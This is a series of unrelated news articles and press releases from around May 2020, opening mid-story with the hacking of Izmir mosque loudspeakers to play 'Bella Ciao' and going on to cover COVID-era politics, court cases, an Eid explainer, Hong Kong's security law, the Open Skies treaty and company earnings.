Immediately after the hacking, the Izmir Religious Affairs Department, the local branch of Diyanet, Turkeys all-powerful state-run religious body, announced that a probe had been launched to find the hackers. Several accounts that praised the hackers were also under investigation by local prosecutors for insulting religious values, according to the local press. The head of Diyanet, Ali Erbas, condemned the hackers as well as those who have praised this provocative act and said his directorate would see that they were brought to justice. Local authorities initially suggested that the hack was likely the job of a group of young people with no particular political party affiliation.

Izmir Mayor Tunc Soyer, a social democrat from the main opposition Republican Peoples Party, quickly condemned the incident, as some in pro-government quarters suggested the hackers were somehow his sympathizers, if not directly linked to him, because the mayor often uses "Bella Ciao" in public events.

At a time when we are all preparing for [Eid al Fitr], the playing of songs from the minarets of Izmir has upset the people of Izmir and myself, he said in a press statement, calling the incident an act of provocation at a time when unity is needed.

Lets not fall into the trap of those who want to polarize us, Soyer warned. He added, however, that he also condemned those who sought to use the incident as a tool of political propaganda against Izmir.

After he won election last year, Soyer celebrated his victory with "Bella Ciao" playing in the background. Several months later, after successfully completing a labor agreement with public workers, he danced to "Bella Ciao" in a viral video.

His rival in the March 2019 elections, the AKPs former Economy Minister Nihat Zeybekci, was quick to draw a link to the hacking incident. Referring to last months celebrations of the centenary of Turkeys parliament, he tweeted, This is what happens if you celebrate April 23 by jumping up and down in the streets of Izmir to the tune of Bella Ciao and make that rubbish the anthem of those who are ashamed [of being Turkish]. A few hours later, pro-government media outlets published in unison articles about Soyers love for 'Bella Ciao.'

Other members of the ruling party also deplored the incident, some hinting that there was more to the hack. Altun tweeted that it went beyond a provocation. "Those who do not respect our national values  keep attacking what is sacred to us," he wrote, lambasting people for "sharing the hack with pride on social media." The reference here is to Banu Ozdemir, who has worked in the CHP's Izmir branch in the past. She was detained May 21 for sharing the videos.

Many Turks from different points on the political spectrum expressed disapproval for the hack. If it is intended as a joke, it is not even mediocre, Can Selcuki, the co-founder of the public opinion and big data firm Istanbul Economy, told Al-Monitor. But it has been blown up by the trolls on both sides of the political spectrum. Conservatives have seen it as an all-out attack against religion and some secularists have made a joke of it, which is not secularism, as it fails to respect faith.

Ironically, some young conservatives are also fond of the song with the catchy tune. The Anadolu Youth Association, a conservative nationalist group, adapted it in 2013, substituting the lyrics Oh Partisan/ Oh Take Me Away/Bella Ciao with Oh Muslim/Take Me Away/To the Mosque. The video they made has been watched and shared hundreds of thousands of times.
You are here: Business

Quzhou, a city in eastern China's Zhejiang province, is seeing a recovery of its caviar business amid the COVID-19 pandemic thanks to e-commerce.

Quzhou, a city in eastern China's Zhejiang province, is home to the world's largest producer of caviar. [File photo provided to China.org.cn]

The pandemic put a virtual halt to exports of Quzhou's Kaluga Queen caviar, a leading brand in the industry famous around the world.

According to its maker, Quzhou Xunlong Aquatic Food Sci-tech Development Co., the company produces more than a third of the world's caviar and supplies many Michelin-starred restaurants, making China the global leader in caviar production.

In order to cope with the decreasing demand outside the country, the company turned to Chinese e-commerce platforms to sell to domestic buyers in early March. Data shows that its online sales more than doubled in April.

In addition, the Quzhou municipal government is formulating various measures to help foreign trade companies to offset the impact of COVID-19, ranging from providing legal service to assisting in expanding sales channels.

For product info and contact:

http://qz.china.com.cn/2020-05/21/content_41157123.html

Contact: Tina Zhu

Phone: (+86) 18767026990

Email: zhj1@kalugaqueen.com

Know more about Quzhou:

http://qz.china.com.cn/node_1008163.htm
A suspended ride-share driver, who allegedly preyed on vulnerable intoxicated women after being dismissed by Uber and Ola following allegations of "sexual offending", has been refused bail after being accused by police of attacking two women.

Sharjeel Mirza, 37, appeared via video link in the Melbourne Magistrates Court on Friday charged with the rape and unlawful imprisonment of a 19-year-old woman and the attempted rape and sexual assault of a 26-year-old woman in his car in March and July last year.

Police allege Mr Mirza continued to drive around "preying" on intoxicated women with an Uber sticker on his car. Credit:Bloomberg

The court was told that despite being suspended from both ride-share companies following complaints from passengers of inappropriate conduct in 2018, police alleged Mr Mirza, from Bundoora, continued to drive around "preying" on intoxicated women with an Uber sticker on his car.

One of his alleged victims had been at a 30th birthday in Brunswick and the other at a nightclub in Melbourne's CBD before leaving in Mr Mirza's car, the court heard.
Muslim women at a prayer service at a mosque in Redmond, Washington, to mark the end of Ramadan and the start of Eid-al-Fitr in 2016. AP Photo/Ted S. Warren Ken Chitwood, Concordia College New York

Muslims all over the world are celebrating Eid al-Fitr, one of the religions principal festivals. In August, Muslims will celebrate Eid al-Adha. Ken Chitwood, a scholar of global Islam, explains the two Islamic festivals.

1. What is Eid?

Eid literally means a festival or feast in Arabic. There are two major eids in the Islamic calendar per year  Eid al-Fitr earlier in the year and Eid al-Adha later.

Eid al-Fitr is a three-day-long festival and is known as the Lesser or Smaller Eid when compared to Eid al-Adha, which is four-days-long and is known as the Greater Eid.

2. Why is Eid celebrated twice a year?

The two Eids recognize, celebrate and recall two distinct events that are significant to the story of Islam.

Eid al-Fitr means the feast of breaking the fast. The fast, in this instance, is Ramadan, which recalls the revealing of the Quran to Prophet Muhammad and requires Muslims to fast from sunrise to sundown for a month.

3. How do Muslims celebrate Eid al-Fitr?

Eid al-Fitr features two to three days of celebrations that include special morning prayers. People greet each other with Eid Mubarak, meaning Blessed Eid and with formal embraces. Sweet dishes are prepared at home and gifts are given to children and to those in need. In addition, Muslims are encouraged to forgive and seek forgiveness. Practices vary from country to country.

In many countries with large Muslim populations, Eid al-Fitr is a national holiday. Schools, offices and businesses are closed so family, friends and neighbors can enjoy the celebrations together. In the U.S. and the U.K., Muslims may request to have the day off from school or work to travel or celebrate with family and friends.

In countries like Egypt and Pakistan, Muslims decorate their homes with lanterns, twinkling lights or flowers. Special food is prepared and friends and family are invited over to celebrate.

Ken Chitwood, CC BY

In places like Jordan, with its Muslim majority population, the days before Eid al-Fitr can see a rush at local malls and special Ramadan markets as people prepare to exchange gifts on Eid al-Fitr.

In Turkey and in places that were once part of the Ottoman-Turkish empire such as Bosnia and Herzegovina, Albania, Azerbaijan and the Caucasus, it is also known as the, Lesser Bayram or festival in Turkish.

4. How do Muslims celebrate Eid al-Adha?

The other festival, Eid al-Adha, is the feast of the sacrifice. It comes at the end of the Hajj, an annual pilgrimage by millions of Muslims to the holy city of Mecca in Saudi Arabia that is obligatory once in a lifetime, but only for those with means.

Eid al-Adha recalls the story of how God commanded Ibrahim to sacrifice his son Ismail as a test of faith. The story, as narrated in the Quran, describes Satans attempt to tempt Ibrahim so he would disobey Gods command. Ibrahim, however, remains unmoved and informs Ismail, who is willing to be sacrificed.

But, just as Ibrahim attempts to kill his son, God intervenes and a ram is sacrificed in place of Ismail. During Eid al-Adha, Muslims slaughter an animal to remember Ibrahims sacrifice and remind themselves of the need to submit to the will of God.

5. When are they celebrated?

Eid al-Fitr is celebrated on the first day of the 10th month in the Islamic calendar.

Eid al-Adha is celebrated on the 10th day of the final month in the Islamic calendar.

The Islamic calendar is a lunar calendar, and dates are calculated based on lunar phases. Since the Islamic calendar year is shorter than the solar Gregorian calendar year by 10 to 12 days, the dates for Ramadan and Eid on the Gregorian calendar can vary year by year.

6. What is the spiritual meaning of Eid al-Fitr?

Eid al-Fitr, as it follows the fasting of Ramadan, is also seen as a spiritual celebration of Allahs provision of strength and endurance.

Amid the reflection and rejoicing, Eid al-Fitr is a time for charity, known as Zakat al-Fitr. Eid is meant to be a time of joy and blessing for the entire Muslim community and a time for distributing ones wealth.

Charity to the poor is a highly emphasized value in Islam. The Quran says,

Believe in Allah and his messenger, and give charity out of the (substance) that Allah has made you heirs of. For those of you who believe and give charity  for them is a great reward.

This piece incorporates materials from an article first published on Aug. 28, 2017.

This article is republished from The Conversation under a Creative Commons license. Read the original article.

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There are people who would be happy to eat out or sit at a bar during a pandemic. But unlike going to the grocery or pharmacy to get essential supplies, its not something everyone has to do. If youre tired of cooking, you can get takeout from your favorite place and enjoy an excellent chef-prepared meal without inhaling other peoples droplets. In some places, you can even get cocktails to go.
In a surprise move, the Reserve Bank of India on Friday slashed the benchmark lending rate by 40 basis points to mitigate the impact of COVID-19 crisis.

In an off-cycle meeting of the Monetary Policy Committee (MPC), the decision was taken unanimously to cut repo to support growth.

Following the reduction, the repo rate has come down to 4 per cent and the reverse repo rate has been cut to 3.35 per cent.

The MPC, headed by RBI Governor Shaktikanta Das, has last reduced the repo rate (the rate at which central bank lends to banks) on March 27 by a staggering 0.75 per cent to 4.14 per cent.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
CROMWELL - Democrats are chiding Mayor Enzo Faienza for calling a special Town Council meeting this week during which he criticized Gov. Ned Lamont for not moving more quickly to reopen the state.

The 21/2-hour meeting Tuesday ended with agreement the town attorney would draft a declaration expressing the Republican-dominated councils dissatisfaction at what they say is the too-slow pace of reopening of the state, and its negative impact on small businesses.

Propelled in part by an orchestrated media blitz, Faienzas leading role on the issued has attracted support on social media, including calls from some that he run for governor.

But in a statement issued late Thursday, Democratic Town Committee Chairman Scott Lamberson said he was disappointed by the meeting.

What necessitated a special council meeting to be called with short notice? Lamberson asked.

He accused Faienza of grandstanding, noting the mayor had previously made his concerns known in a letter to Lamont. Lamberson has previously run against Faienza for the mayors seat.

We dont really know the purpose of the meeting, which Lamberson described as hastily called and unnecessary.

In an email response early Friday afternoon, Faienza said it is unfortunate the Democratic Town Committee has decided to make our (effort) for small businesses in Cromwell and state-wide political.

The economic impact of the virus on small businesses is devastating (but) maybe they dont understand or see that, Faienza said.

Lamberson, who ran against Faienza for mayor in 2019, said he was especially troubled by the fact the town attorney (and an associate) were engaged for the meeting.

Lamberson called that a gratuitous use of the town attorney, one that will result in an increase of our taxpayer funded legal fees.

Led by Director of Finance Marianne Sylvester, town officials have been keeping a close eye on mounting legal bills over the past several months.

Last week, the council re-allocated $30,000 to the legal fees line-item to cover unanticipated expenses through the end of the fiscal year on June 30.

Lamberson charged that the 97-minute closed-door session was apparently improper and illegal, and adding, What is legally sensitive about drafting a resolution similar to whats already been communicated?

Councilor James Demetriades, who is a lawyer, had questioned the rationale for the executive, or closed door, session, which are governed by rules laid down by the state Freedom of Information Commission.

Town Attorney Kari L. Olson said that the council was reviewing its legal options.

Olson is expected to present a draft of the declaration to the council, perhaps by next week.

In his statement, Lamberson defended Lamont, saying he was using data and guidance from scientific experts to make decisions to keep the citizens of our state safe.

The town should be following his example, he added. Instead of unnecessary meetings with attorneys and drafting resolutions, we should be using town resources to help our small businesses now.

Lets use our finds for grants, loans, tax-forgiveness or other immediate solutions instead of legal fees, Lamberson said.

Lamont said Thursday that flexibility will be the key to the states deliberate, summer-long reopening process, and depending on how the coronavirus proceeds  along with Connecticuts reaction to its unfolding freedoms  he may slow down or speed up future segments of the public recovery.

Faienza defended the decision to go into executive session, saying, We had every right to do so as we were discussing strategies that could have included legal ones.

I did not authorize the town attorney to create the declaration, Faienza said. It was a bi-partisan vote of the Town Council.

jmill@middletownpress.com
One such travesty is currently playing out in our nation's capital. Judge Laura Cordero of the Washington, DC Superior Court issued an unconstitutional summary judgment ruling in the case 2011 CA 003721 B, which effectively gave legitimacy to one religious faction over another in an ongoing schism within the Unification Movement founded by Reverend Sun Myung Moon. Now entering its ninth year, the case explicitly involves questions of religious polity, structure, and theology. Historically, courts have properly abstained from any involvement in the internal affairs of religious entities, as required by the First Amendment. Yet, despite the facts being disputed by both parties, Judge Cordero issued a ruling that decided the issues in question without a jury trial . At a minimum, Judge Cordero should have held a hearing to consider evidence and arguments of the parties involved, and should have followed proper protocol for summary judgment, which requires the party seeking summary judgment to show there is no genuine dispute of any material fact. Judge Cordero also ignored the Appellate Court's caution that the case must be dismissed if "it becomes apparent to the trial court that this dispute does in fact turn on matters of doctrinal interpretation or church governance."

As such, Judge Cordero set a dangerous legal precedent by unilaterally ruling on the doctrine, hierarchy, and leadership of a religious entity. Not only has she trampled on the First Amendment by involving herself in a religious schism, but she also engaged in religious discrimination by favoring one side's unproven claims over the other's evidence-backed claims.

Compounding this injustice, the DC Commission on Judicial Disabilities and Tenure (the "Commission") issued its report to President Trump, awarding Judge Cordero a "well qualified" reappointment on April 27, 2020. This decision was rendered despite numerous factual misrepresentations and 5,000 emails to the Commission objecting to her reappointment due to First Amendment violations and her religious bias in the abovementioned case. Though thousands of people of faith collectively decried her discrimination against their faith, their voices were callously dismissed by the Commission. But the Commission's report reveals a government agency contradicting itself and issuing falsehoods to the President.

One example of the report's many contradictions pertains to the 5,000 emails referenced above. The report says the emails the Commission received "sharply criticized Judge Cordero's legal reasoning", but that legal reasoning "is not within the Commission's purview to consider". Yet, in the very same paragraph the Commission states Judge Cordero's ruling was "quite persuasive" as well as "well-reasoned, clear and concise, and meticulous as to the facts and the law". By what parameters, other than "legal reasoning", can the Commission say her opinion was "quite persuasive" and "well-reasoned"? It is contradictory, dishonest, and disrespectful for the Commission to give this praise to Cordero, while, in the same paragraph, dismissing thousands of emails with the claim that "legal reasoning" is "not within the Commission's purview to consider". And, it is simply irresponsible and inappropriate for the Commission to praise the opinion issued by a Judge against a party in a case that is still ongoing.

The report contains many other falsehoods. According to the report, "Judge Cordero originally dismissed the case on lack of subject matter jurisdiction due to religious abstention." This is false. The case was dismissed by Judge Anita Josey-Herring in 2013, not by Judge Cordero. The report claims that Judge Cordero's decision "was affirmed on appeal". This is another outright falsehood. A cursory glance at the docket of the case reveals that Judge Cordero's decision was never appealed. As such, there was no way for it to be "affirmed". Since no punitive action ever took place, there could have been no appeal. All this information about judicial activity that is blatantly false or misattributed is being utilized to exaggerate the performance of a judge and to give her the highest possible rating.

The report on Judge Laura Cordero's reappointment by the Commission reveals the worst elements of cronyism. Not only is the report riddled with contradictions and outright falsehoods, but it demonstrates a willingness to go to any length to rubberstamp the reappointments of sitting judges, regardless of their performance. The examples here are a few of the misrepresented facts that aided in giving Judge Cordero the highest possible rating; but one can only wonder what other facts were twisted to make her case.

A quick check on this Commission's record concerning reappointments shows that 31 judges have come up for review in the last 13 years, and that every single judge was given the "well qualified" designation. According to the Commission's own policy, the "well qualified" designation is reserved only for those judges "whose work product, legal scholarship, dedication, efficiency, and demeanor are exceptional". If a judge ignores due process and violates the First Amendment and is yet considered "exceptional", what does that say about the integrity of our judicial system?

Judges should uphold the Constitution and follow proper judicial procedure. Oversight commissions should make every effort to conduct due diligence on judges' cases before reappointing them to the bench. We must hold judges and the judicial appointment process accountable so that this nation can continue to be an exemplar of religious freedom and the rule of law.

Howard C. Self is the President of Right To Believe, a not-for-profit organization fighting to protect the right to believe in one's religion without undue governmental interference.

For any inquiries, please contact [email protected]

SOURCE Right To Believe

Related Links

http://www.righttobelieve.org


The burning of a church in northern Mississippi this week is being investigated as arson because of a spray-painted message at the scene that seemed to criticize the churchs defiance of coronavirus restrictions.

First Pentecostal Church had sued the city of Holly Springs, Miss., which is about an hour southeast of Memphis, arguing that its stay-at-home order had violated the churchs right to free speech and interfered with its members ability to worship.

After firefighters put out the blaze early Wednesday, the police found a message, Bet you stay home now you hypokrits, spray-painted on the ground near the churchs doors, according to Maj. Kelly McMillen of the Marshall County Sheriffs Department.

A photograph of the graffiti also appears to show an atomic symbol with an A in the center, which is sometimes used as a logo for atheist groups.
A woman who travelled from Arizona to Hawaii was allegedly caught breaking self-quarantine orders after she posted pictures of herself posing on the beach.

Special agents from the Investigation Division of the Attorney General's department arrested Alyza Alder, 18, on Wednesday afternoon. She was charged with violating Hawaii's mandatory 14-day quarantine rule and for unsworn falsification to authority.

Visitors who travel to the area must self-isolate for 14 days.

Ms Alder from Gilbert, Arizona who travelled to Hawaii on May 6, was arrested on Wednesday at a fast food restaurant where she had taken employment. Under the state's coronavirus lockdown orders, police said Alder should have been self-isolating until Wednesday.

The Governor's office and the Hawaii Tourism Authority began building a case after Ms Alder allegedly began posting pictures of herself swimming off beaches in beaches in Laie and Hauula between May 8 and May 20.

The 18-year-old was taken into custody after a member of the public told authorities that she was allegedly in violation of the quarantine orders.

State Attorney General Clare Connors said: We are asking everyone  returning residents and visitors  to abide by our states 14-day self-quarantine order.

"The 14-day self-quarantine rules protect everyones health and safety.

"As weve said before, if you come to Hawaii with the expectation that you can ignore the self-quarantine order, you very likely will be reported, arrested and end up in jail facing hefty fines. All of us must do our part to protect ourselves, our families, friends and guests.

Ms Alder has been charged and her bail has been set at $2,000.
In this time of extraordinary global challenges, the UN is obligated to remedy the harm it caused in Haiti urgently.

In an unprecedented move, 14 United Nations-appointed human rights experts sharply admonished the UN last month for denying justice to victims of the cholera epidemic introduced to Haiti by UN peacekeepers in 2010. As communities around the world struggle to give meaning to the vast loss of life from COVID-19, the experts are right to draw renewed attention to this plight.

Cholera broke out in Haiti for the first time in the countrys history because the UN Stabilisation Mission in Haiti (MINUSTAH) failed to undertake basic precautions to prevent foreseeable harm. MINUSTAH deployed peacekeepers from Nepal  a country experiencing an active cholera outbreak  without adequately screening for infection, and then recklessly disposed of contaminated faecal waste into Haitis largest river. The official death toll from cholera stands at 9,789, though studies suggest the true toll may be three to 10 times higher. Nearly one million Haitians have been infected  a per capita toll that exceeds any nation impacted by COVID-19 so far.

It took six years of advocacy and lawsuits for the UN to pledge to address the harm suffered by cholera victims. In 2016, then Secretary-General Ban Ki-moon issued a long overdue apology for the UNs role in introducing the disease and launched a $400m initiative to eliminate cholera and provide material assistance to those most affected by the epidemic.

Since then, the UNs follow through has been pitiful and deeply disappointing, according to the experts statement. As we documented in the complaint that triggered the experts critique, the world body has raised only five percent of the amount needed, choosing to rely on charitable contributions over funding the efforts through its budget. The UN has also abandoned direct support for victims, offering only a spate of symbolic development projects that do not remedy the harms suffered.

While a formal response remains forthcoming, the UNs lacklustre initial reaction indicates that it will continue to avoid the question of justice for victims, pointing instead to general humanitarian efforts to combat cholera to absolve itself. Such investments have been critical to finally get cases down to zero, but they do not fulfil the UNs duty to provide remedies to the victims of the epidemic.

Compensation for victims is legally required. The UNs direct responsibility for the avoidable introduction of the disease violated its agreements with the Haitian government and triggered a duty to compensate under its own legal frameworks and human rights law. The flouting of this obligation has subjected the organisation to accusations that it operates above the law.

Compensation would also save lives. Cholera robbed Haitian families of breadwinners, forced them into crushing debt to pay for medical and funeral expenses, and resulted in lost livelihoods. Without compensation for the impacts of cholera, the COVID-19 pandemic now threatens to deal a double blow as families are left without critical means to protect themselves from the new disease or the ability to absorb yet another economic shock.

In response to COVID-19, governments are rightly rushing to provide economic support to families suffering the fallout of the pandemic, demonstrating what is possible when there is adequate political will. This affirms the need to question the UNs reluctance to remedy the dire losses suffered by victims of an epidemic for which it is itself responsible.

Compensating victims of cholera is in the interests of the organisation itself. The UNs continued failure to respond justly to victims of cholera presents a protracted credibility crisis for the world body. In departing the UN, a senior human rights official recently characterised the UNs response to cholera as possibly the single greatest example of hypocrisy in our 75-year history.

In this time of extraordinary global challenges and as multilateral organisations are increasingly under threat, it is more important than ever that the UN lead by example and respect human rights. Secretary-General Guterres must respond to the concerns raised in the experts communication by committing to fund remedies through the UNs budget and compensate for the harms caused by the UNs negligence.

The views expressed in this article are the authors own and do not necessarily reflect Al Jazeeras editorial stance.
New York, NY - The American Federation for Aging Research (AFAR), a national non-profit organization whose mission is to support and advance healthy aging through biomedical research, is proud to recognize the outstanding contributions of Kali Thomas, MA, PhD, with the inaugural Terrie Fox Wetle Rising Star Award in Health Services and Aging Research.

This award honors a health services researcher in an early or middle phase of his/her career who has already made important contributions with work that respects the value of multidisciplinary health services science and that is likely to be highly influential in shaping practice and research for decades to come.

Dr. Thomas is Associate Professor of Health Services, Policy and Practice at Brown University's School of Public Health and a Research Health Science Specialist in the Center of Innovation in Long-Term Services and Supports at the Providence VA Medical Center.

Dr. Thomas is recognized for her work in applying health services research to inform policies and practices that secure better health and quality of life outcomes for individuals who are aging and disabled, particularly those who require long-term services and supports (LTSS). Her research and publications have focused on the organization and delivery of LTSS, with an emphasis on access, measurement, and quality. Funded by the U.S. Department of Veterans Affairs, the Agency for Healthcare Research and Quality, the National Institute on Aging, and various foundations, she has led research projects examining the organization, delivery, and financing of LTSS to meet older adults' medical and non-medical needs across the LTSS continuum, ranging from in-home services to long-term care provided in institutional settings. Dr. Thomas is a devoted and effective advocate, and her work has been used to influence policy and improve services for older persons.

The award is named in honor of Terrie Fox Wetle, PhD, who has devoted her professional career to three related domains. She has been a tireless advocate for inclusion of aging-related health services research in Public Health. She has lovingly and effectively mentored hundreds of new investigators in a broad array of disciplines. As inaugural Dean, she built a thriving School of Public Health at Brown University, while leading efforts to improve aging-relevant content in public health curricula. Professor Wetle sets an example of visionary leadership, mentoring and administrative excellence. In her honor, AFAR established the Terrie Fox Wetle Rising Star Award in Health Services and Aging Research in 2019.

Nominations for the award are by invitation, and are judged by an independent panel of leading aging researchers. The award is a framed citation and carries a cash prize of $5,000. Dr. Thomas will have an opportunity to present research findings at the AFAR Symposium at the Annual Scientific Meeting of the Gerontological Society of America in 2020.

"The needs of America's growing older population demand innovative health services," notes Stephanie Lederman, EdM, AFAR Executive Director. "The visionary work of Dr. Thomas and Dr. Wetle exemplify applying research to improving the wellness of seniors and communities. AFAR is proud to support the future of health services and aging research with this award."

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About AFAR

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Hong Kong pro-democracy lawmakers sharply criticized China's move to take over long-stalled efforts to enact national security legislation in the semi-autonomous territory, saying it goes against the one country, two systems framework under which Beijing promised the city freedoms not found on the mainland.

The proposed bill, submitted Friday on the opening day of China's national legislative session, would forbid secessionist and subversive activity, as well as foreign interference and terrorism. It comes after months of pro-democracy demonstrations last year that at times descended into violence between police and protesters.

The bill, among the most controversial items on the agenda of the National People's Congress in years, drew strong rebukes from the U.S. government and rights groups.

Secretary of State Mike Pompeo condemned the move, saying the decision to bypass Hong Kong's well-established legislative processes and ignore the will of the people of Hong Kong would be a death knell for the high degree of autonomy Beijing promised. The foreign ministers of the U.K., Australia and Canada released a joint statement saying they are deeply concerned about the legislation proposed by China.

Making such a law on Hong Kong's behalf without the direct participation of its people, legislature or judiciary would clearly undermine the principle of 'one country, two systems' under which Hong Kong is guaranteed a high degree of autonomy, they said.

A former pro-democracy lawmaker, Lee Cheuk-yan, said at a briefing by opposition parties and activists that Chinese leader Xi Jinping "has torn away the whole pretense of 'one country, two systems' and that Beijing is directly taking control. They're trying to ban every organization in Hong Kong who dares to speak out against the Communist Party, he said, describing it as a challenge to global values such as freedom and liberty.

Office worker Tiffany Chung called it ridiculous. They promised 'one-country, two-systems, but the content of the security law is basically implementing 'one country, one system,' she said.

Beijing appears to have lost patience and is determined to assert greater control in Hong Kong and limit opposition activity following last year's protests. Wang Chen, vice chairman of the National People's Congress, said the protests and violence in Hong Kong had challenged the one country, two systems principle and the aim of the legislation was to stop any behavior that posed potential security threats.

Hong Kong's legal system and enforcement must be established and improved at the state level, he said.

China's foreign ministry said Hong Kong is China's internal affair and no foreign country has the right to intervene." The Chinese government is determined in safeguarding national sovereignty, security, and development interests, following through the policy of 'one country, two systems,' and opposing any external interference in Hong Kong affairs," ministry spokesperson Zhao Lijian said at a daily briefing.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
France leads statement announcing regret over Trumps move to withdraw US from pact in six months as NATO holds meeting.

France has said it regretted the USs plan to withdraw from the 35-nation Open Skies treaty, which allows unarmed surveillance flights over member countries, even though it shared Washingtons concern over Russias implementation of the pact.

The US administration, which has said Russia had repeatedly violated the pacts terms, is expected to formally pull out of Open Skies in six months.

I think we have a very good relationship with Russia. But Russia didnt adhere to the treaty. So until they adhere we will pull out, US President Trump told reporters on Thursday.

He said there was a very good chance well make a new agreement or do something to put that agreement back together.

On Friday, the French Foreign Ministry said in a joint statement with Germany, Belgium, Spain, Finland, Italy, Luxemburg, the Netherlands, the Czech Republic and Sweden, that the treaty remained functional and useful.

Russian Deputy Foreign Minister Sergei Ryabkov said the US withdrawal from the Open Skies treaty undermines international security, adding Washington provided no facts to back up its assertion that Moscow has repeatedly violated the pacts terms.

NATO envoys are expected to discuss the future of the treaty on Friday.

The US move deepened doubts about whether Washington will seek to extend the 2010 New START accord, which imposes the last remaining limits on US and Russian deployments of strategic nuclear arms to no more than 1,550 each. It expires in February.

US allies in NATO have pressed Washington not to leave the Open Skies pact, but the organisation had recognised the USs concerns.

Unarmed overflights as part of Open Skies are aimed at bolstering confidence and providing members forewarning of surprise military attacks.

A NATO official said: In particular, we are concerned that Russia has restricted flights over certain areas.

The official recalled concern raised at a 2018 summit of alliance leaders that Russias selective implementation of Open Skies was undermining their security.
A month has gone by since the last earnings report for ManpowerGroup (MAN). Shares have added about 5.7% in that time frame, underperforming the S&P 500.

Will the recent positive trend continue leading up to its next earnings release, or is Manpower due for a pullback? Before we dive into how investors and analysts have reacted as of late, let's take a quick look at the most recent earnings report in order to get a better handle on the important drivers.

ManpowerGroup Misses Q1 Earnings Estimate

ManpowerGroup reported mixed first-quarter 2020 results, with earnings missing the Zacks Consensus Estimate but revenues beating the same.

Quarterly adjusted earnings of 71 cents per share missed the Zacks Consensus Estimate by 2.7% and slumped 48.9% year over year.

Revenues of $4.62 billion beat the consensus estimate by 13.4%. The figure, however, declined 8.4% year over year on a reported basis and 5.9% on a constant-currency basis. The decline reflects impact of the coronavirus-related work restrictions in the companys largest markets.

Segmental Revenues

Revenues from America totaled $1.01 billion, down 1.9% year over year on a reported basis but up 1.2% on a constant-currency basis. In the United States, revenues came in at $610.9 million, down 2%, both on reported and constant-currency basis. In the Other Americas subgroup, revenues of $400.1 million decreased 1.7% on a reported basis but improved 6.1% on a constant-currency basis. Americas contributed 22% to total revenues.

Revenues from Southern Europe were down 7.8% on a reported basis and 5.5% on a constant-currency basis to $1.94 billion. Revenues from France came in at $1.09 billion, down 16.2% on a reported basis and 13.7% on a constant-currency basis. Revenues from Italy were $327.7 million, down 8% on a reported basis and 5.3% on a constant-currency basis. The Other Southern Europe subsegment generated revenues of $523.2 million, up 17.2% on a reported basis and 18.3% on a constant-currency basis. Southern Europe contributed 42% to total revenues.

Story continues

Northern Europe revenues slid 11% on a reported basis and 7.9% on a constant-currency basis to $1.07 billion. The segment accounted for 23% of total revenues in the quarter.

APME revenues totaled $594.9 million, down 15.7% on a reported basis and 14% on a constant-currency basis. The segment contributed 13% to total revenues.

Operating Performance

Gross profit in the quarter was $724 million, down 10% year over year on a reported basis and 7.7% on a constant-currency basis. Gross profit margin came in at 15.7%, down 30 basis points (bps) year over year.

Operating profit of $37.7 million plummeted 64.2% year over year on a reported basis and 62.7% on a constant-currency basis. Operating profit margin came in at 0.8%, down 127 bps year over year.

Balance Sheet and Cash Flow

ManpowerGroup exited the first quarter with cash and cash equivalents balance of $1.1 billion compared with the prior quarters $1.03 billion. Long-term debt at the end of the quarter was $995.6 million compared with the $1.01 billion witnessed in the preceding quarter.

The company generated $181 million of cash from operating activities, and Capex was $9.1 million in the quarter. ManpowerGroup repurchased $63.8 million of common stock in the quarter.

How Have Estimates Been Moving Since Then?

It turns out, estimates revision have trended downward during the past month. The consensus estimate has shifted -92.34% due to these changes.

VGM Scores

At this time, Manpower has a strong Growth Score of A, though it is lagging a lot on the Momentum Score front with a C. Charting a somewhat similar path, the stock was allocated a grade of B on the value side, putting it in the top 40% for this investment strategy.

Overall, the stock has an aggregate VGM Score of A. If you aren't focused on one strategy, this score is the one you should be interested in.

Outlook

Estimates have been broadly trending downward for the stock, and the magnitude of these revisions indicates a downward shift. It's no surprise Manpower has a Zacks Rank #5 (Strong Sell). We expect a below average return from the stock in the next few months.



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By Express News Service

BHUBANESWAR: Prime Minister Narendra Modi will visit Odisha on Friday to take stock of the situation in the wake of cyclone Amphan which inflicted heavy damage on the coastal districts of the state.

Besides conducting an aerial survey of the affected areas in Odisha, the Prime Minister will review post-cyclone situation at a high level meeting to be attended by Chief Minister Naveen Patnaik, union ministers from the state Dharmendra Pradhan and Pratap Chandra Sarangi and senior officers.

The Prime Minister will visit Odisha after his trip to West Bengal where he will make an aerial survey, visit an affected area and attend a review meeting. Official sources maintained that he will arrive at the Bhubaneswar airport 2.50 pm.

Thereafter, he will conduct aerial survey of the affected areas along with Governor Ganeshi Lal, the Chief Minister and two union ministers. The PM will review the situation at a high level meeting at 5 pm and return to New Delhi there after.

ALSO READ: Tribal communities in Odisha left to fend for themselves during pandemic and cyclone

The top brass of the Odisha police conducted a security review at the Bhubaneswar airport on Thursday night in view of the Prime Ministers visit.

Director General of Police Abhay reviewed security arrangements for proposed visit of the Prime Minister at a high level meeting attended by senior police officials.

About 44.8 lakh people of 1500 panchayats under 89 blocks of the coastal districts have been affected due to the very severe cyclone Amphan which skirted the Odisha coast and made a land fall in Sundarbans in West Bengal on Wednesday leaving behind a trail of destruction.
A federal lawsuit was filed May 20 against City of Racine Public Health Administrator Dottie-Kay Bowersox and 20 other Wisconsin officials alleging that locally mandated Safer at Home orders are unconstitutional.

The lawsuit, which lists a Racine resident as one of its 17 plaintiffs, asks the Eastern District of Wisconsin of the U.S. District Court to end all of Wisconsins local Safer at Home orders.

The local orders unlawfully interfere with plaintiffs rights to work and to worship, to gather and assemble, in violation of their Federal Constitutional Rights, the complaint alleges.

Other defendants in the case represent Dane, Outagamie, Winnebago, Green and Rock counties, the City of Appleton, the Grand Chute Police Department, the Wisconsin State Capitol Police and the City of Milwaukee, as well Department of Health Services Secretary-designee Andrea Palm and Gov. Tony Evers.

The plaintiffs are represented by Joseph W. Voiland of Veterans Liberty Law, which is based in Cedarburg. Voiland served as an Ozaukee County Circuit Court judge from 2013-2019.

CLICK HERE to read the whole lawsuit

Racine City Attorney Scott Letteney said May 20 that the city still has not been served with the lawsuit yet. As such, It would be premature to provide any comment, he said in an email.

Racine womans allegations

Among the plaintiffs is Sandra K. Morris of Racine. In the lawsuit, she claimed that two of her rights specifically have been unlawfully stripped.

The first was her ability to worship. Places of worship in Racine are now allowed to legally hold services, albeit with limited numbers of attendees.

Morris second claim, along with five of her co-plaintiffs, is that the Safer at Home order prevented her from circulating recall petitions for either state or local office holders.

